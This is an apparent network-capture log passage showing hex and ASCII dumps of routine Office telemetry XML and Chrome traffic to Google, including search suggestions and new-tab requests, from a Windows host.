2024-12-08 14:38:16 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-08 14:38:16 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-08 14:38:16 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-08 14:38:16 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-08 14:38:16 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-08 14:38:16 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-08 14:38:16 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-08 14:38:16 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49716	142.250.181.68	443	2448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:18 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-08 14:38:19 UTC	1266	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:19 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-7_AKsfpV5B2jPi7mm0ZxRw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-08 14:38:19 UTC	124	IN	Data Raw: 31 30 30 30 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 70 75 73 68 70 61 20 6d 6f 76 69 65 20 62 6f 78 20 6f 66 66 69 63 65 20 63 6f 6c 6c 65 63 74 69 6f 6e 22 2c 22 66 69 66 61 20 63 6c 75 62 20 77 6f 72 6c 64 20 63 75 70 20 73 6f 63 63 65 72 22 2c 22 70 6f 65 32 20 6d 65 72 63 65 6e 61 72 79 22 2c 22 64 69 73 6e 65 79 20 6d 6f 61 6e 61 20 32 20 62 6f 78 20 6f 66 66 69 63 Data Ascii: 1000)]}'["",["pushpa movie box office collection","fifa club world cup soccer","poe2 mercenary","disney moana 2 box offic
2024-12-08 14:38:19 UTC	1390	IN	Data Raw: 65 22 2c 22 77 65 6c 6c 73 20 66 61 72 67 6f 20 62 61 6e 6b 20 63 6c 61 73 73 20 61 63 74 69 6f 6e 20 73 65 74 74 6c 65 6d 65 6e 74 22 2c 22 70 6f 70 65 20 66 72 61 6e 63 69 73 22 2c 22 64 61 6e 20 61 73 68 77 6f 72 74 68 22 2c 22 74 68 65 20 67 70 74 20 65 72 61 20 69 73 20 61 6c 72 65 61 64 79 20 65 6e 64 69 6e 67 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c Data Ascii: e","wells fargo bank class action settlement","pope francis","dan ashworth","the gpt era is already ending"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","googl
2024-12-08 14:38:19 UTC	1390	IN	Data Raw: 55 32 56 54 49 77 4f 48 63 78 53 31 55 30 4d 58 52 35 55 47 5a 4a 56 57 68 50 4d 44 56 34 65 48 70 56 4e 58 6c 68 63 57 68 76 62 33 56 4a 54 56 70 45 4f 57 39 68 4d 56 52 79 65 44 46 69 4d 46 6c 71 52 55 4d 79 63 45 39 33 55 31 4e 43 5a 33 56 4d 51 54 5a 55 65 44 51 31 56 6d 70 33 51 6e 70 79 57 46 68 59 57 58 5a 48 62 6b 6f 78 64 46 64 48 59 6d 4e 33 54 55 4e 4f 51 32 6c 4e 4e 31 56 4c 4e 58 70 36 61 6d 64 6c 55 46 67 72 4e 6a 49 76 65 47 78 70 65 55 52 6a 52 7a 4e 76 61 6d 55 79 65 56 45 77 54 6c 4a 4a 4e 55 4a 42 55 30 5a 69 55 32 52 78 55 6d 35 72 51 55 70 51 54 31 42 31 53 7a 56 77 56 55 35 4c 52 57 52 58 53 32 30 76 59 6e 6c 49 59 32 35 43 4d 45 39 69 52 33 46 5a 56 56 68 55 4d 58 56 6e 63 56 6c 69 62 54 64 4f 65 56 70 45 56 48 6c 45 4e 32 38 30 65 Data Ascii: U2VTIwOHcxS1U0MXR5UGZJVWhPMDV4eHpVNXlhcWhvb3VJTVpEOW9hMVRyeDFiMFlqRUMycE93U1NCZ3VMQTZUeDQ1Vmp3QnpyWFhYWXZHbkoxdFdHYmN3TUNOQ2lNN1VLNXp6amdlUFgrNjIveGxpeURjRzNvamUyeVEwTlJJNUJBU0ZiU2RxUm5rQUpQT1B1SzVwVU5LRWRXS20vYnlIY25CME9iR3FZVVhUMXVncVlibTdOeVpEVHlEN280e
2024-12-08 14:38:19 UTC	1200	IN	Data Raw: 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 67 6f 6f 67 6c 65 3a 65 6e 74 69 74 79 69 6e 66 6f 22 3a 22 43 67 6b 76 62 53 38 77 4e 57 35 6e 64 44 49 53 41 44 4b 2f 44 57 52 68 64 47 45 36 61 57 31 68 5a 32 55 76 61 6e 42 6c 5a 7a 74 69 59 58 4e 6c 4e 6a 51 73 4c 7a 6c 71 4c 7a 52 42 51 56 46 54 61 31 70 4b 55 6d 64 42 51 6b 46 52 51 55 46 42 55 55 46 43 51 55 46 45 4c 7a 4a 33 51 30 56 42 51 57 74 48 51 6e 64 6e 53 45 4a 6e 61 30 6c 43 64 32 64 4c 51 32 64 72 54 45 52 53 57 56 42 45 55 58 64 4e 52 46 4a 7a 56 55 5a 53 51 56 64 4a 51 6a 42 70 53 57 6c 42 5a 45 68 34 4f 47 74 4c 52 46 46 7a 53 6b 4e 5a 65 45 70 34 4f 47 5a 4d 56 44 42 30 54 56 52 56 4d 30 39 71 62 7a 5a 4a 65 58 4d 76 55 6b 51 34 4e 46 46 36 55 54 56 50 61 6d 4e 43 51 32 64 76 53 30 52 52 64 30 35 Data Ascii: l":10002},{"google:entityinfo":"CgkvbS8wNW5ndDISADK/DWRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05
2024-12-08 14:38:19 UTC	88	IN	Data Raw: 35 32 0d 0a 4a 76 4d 30 74 30 5a 48 4a 4d 52 6d 4e 54 53 58 42 36 65 6d 35 4c 65 45 45 31 4e 6a 56 4a 4e 56 42 56 4b 31 68 54 4c 33 45 35 65 45 70 6d 4e 6e 5a 4d 53 6b 74 36 62 45 5a 69 51 30 6b 7a 4e 46 46 50 54 32 35 6a 59 55 49 32 4e 32 46 4b 52 6a 4a 58 0d 0a Data Ascii: 52JvM0t0ZHJMRmNTSXB6em5LeEE1NjVJNVBVK1hTL3E5eEpmNnZMSkt6bEZiQ0kzNFFPT25jYUI2N2FKRjJX
2024-12-08 14:38:19 UTC	1390	IN	Data Raw: 31 30 33 63 0d 0a 56 7a 6c 4e 5a 55 70 4b 4e 33 6b 79 57 57 4a 31 4e 57 5a 54 51 57 5a 59 53 69 74 57 5a 48 45 78 64 6d 52 36 55 6b 31 43 5a 45 4d 7a 57 6b 30 72 61 32 52 75 53 54 5a 6b 4e 55 39 68 4e 44 49 76 62 6b 4e 78 52 58 59 77 59 6c 68 6c 52 45 64 31 65 46 6b 72 55 54 4e 49 54 32 5a 44 62 55 68 7a 63 6d 51 7a 52 58 4e 6b 64 32 73 31 52 48 46 48 52 45 70 4d 4b 30 70 31 54 56 6c 69 65 45 6c 33 54 32 55 34 5a 54 64 4b 65 6d 6b 33 63 7a 6c 53 57 6b 78 4e 56 33 56 77 62 55 70 7a 57 57 5a 6a 51 6a 59 31 53 48 59 34 51 58 42 55 59 6a 4a 54 59 54 67 76 64 55 39 4a 4d 6b 46 30 61 32 67 76 64 30 45 76 53 45 52 31 5a 57 31 51 61 32 5a 6f 55 54 52 75 4f 55 49 34 61 57 52 72 5a 55 34 35 5a 6b 70 48 65 6b 64 33 4f 46 46 68 5a 7a 4e 74 64 55 70 4b 51 6e 46 32 52 Data Ascii: 103cVzlNZUpKN3kyWWJ1NWZTQWZYSitWZHExdmR6Uk1CZEMzWk0ra2RuSTZkNU9hNDIvbkNxRXYwYlhlREd1eFkrUTNIT2ZDbUhzcmQzRXNkd2s1RHFHREpMK0p1TVlieEl3T2U4ZTdKemk3czlSWkxNV3VwbUpzWWZjQjY1SHY4QXBUYjJTYTgvdU9JMkF0a2gvd0EvSER1ZW1Qa2ZoUTRuOUI4aWRrZU45ZkpHekd3OFFhZzNtdUpKQnF2R
2024-12-08 14:38:19 UTC	1390	IN	Data Raw: 64 32 64 4c 51 32 64 72 54 45 52 53 57 56 42 45 55 58 64 4e 52 46 4a 7a 56 55 5a 53 51 56 64 4a 51 6a 42 70 53 57 6c 42 5a 45 68 34 4f 47 74 4c 52 46 46 7a 53 6b 4e 5a 65 45 70 34 4f 47 5a 4d 56 44 42 30 54 56 52 56 4d 30 39 71 62 7a 5a 4a 65 58 4d 76 55 6b 51 34 4e 46 46 36 55 54 56 50 61 6d 4e 43 51 32 64 76 53 30 52 52 64 30 35 48 5a 7a 68 51 52 32 70 6a 62 45 68 35 56 54 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 69 38 76 51 55 46 43 52 55 6c 42 52 55 46 42 55 55 46 4e 51 6b 6c 6e 51 55 4e 46 55 55 56 45 52 56 46 49 4c 33 68 42 51 57 4a Data Ascii: d2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBUUFNQklnQUNFUUVERVFIL3hBQWJ
2024-12-08 14:38:19 UTC	1384	IN	Data Raw: 55 31 4f 54 52 61 52 6c 52 44 52 46 70 42 53 58 52 34 4e 46 68 48 55 6a 4e 57 64 6c 4a 36 4e 6b 4a 79 4e 6b 64 68 55 33 70 61 53 56 4e 6d 54 53 74 53 65 47 31 77 59 6b 64 48 55 30 38 78 55 6b 70 55 62 48 64 50 55 31 52 74 63 33 6c 31 53 58 4e 4e 4d 48 6c 34 63 57 59 30 63 57 78 30 65 55 68 59 5a 58 4e 76 61 31 55 35 52 57 52 57 63 6d 52 56 5a 57 52 72 56 31 68 53 56 6b 56 72 63 58 4d 79 4e 32 35 49 52 30 38 32 57 47 56 4a 4f 56 52 72 52 6d 68 4a 63 30 31 72 63 31 52 69 55 32 39 72 55 57 70 75 61 6b 64 4e 5a 47 31 6e 54 48 4a 56 64 45 6c 6e 4d 55 74 54 51 31 68 56 4e 45 52 6a 56 48 4e 4a 4e 44 51 30 61 56 64 69 5a 56 52 6e 57 6e 68 72 52 47 31 73 4b 33 4a 68 61 47 56 52 56 30 70 70 62 48 51 30 4d 32 70 33 55 6a 56 74 54 79 38 34 56 6b 68 78 54 57 46 58 55 Data Ascii: U1OTRaRlRDRFpBSXR4NFhHUjNWdlJ6NkJyNkdhU3paSVNmTStSeG1wYkdHU08xUkpUbHdPU1Rtc3l1SXNNMHl4cWY0cWx0eUhYZXNva1U5RWRWcmRVZWRrV1hSVkVrcXMyN25IR082WGVJOVRrRmhJc01rc1RiU29rUWpuakdNZG1nTHJVdElnMUtTQ1hVNERjVHNJNDQ0aVdiZVRnWnhrRG1sK3JhaGVRV0ppbHQ0M2p3UjVtTy84VkhxTWFXU
2024-12-08 14:38:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49711	142.250.181.68	443	2448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:18 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49715	142.250.181.68	443	2448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:18 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-08 14:38:19 UTC	1018	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 08 Dec 2024 14:38:19 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-08 14:38:19 UTC	372	IN	Data Raw: 31 65 65 32 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 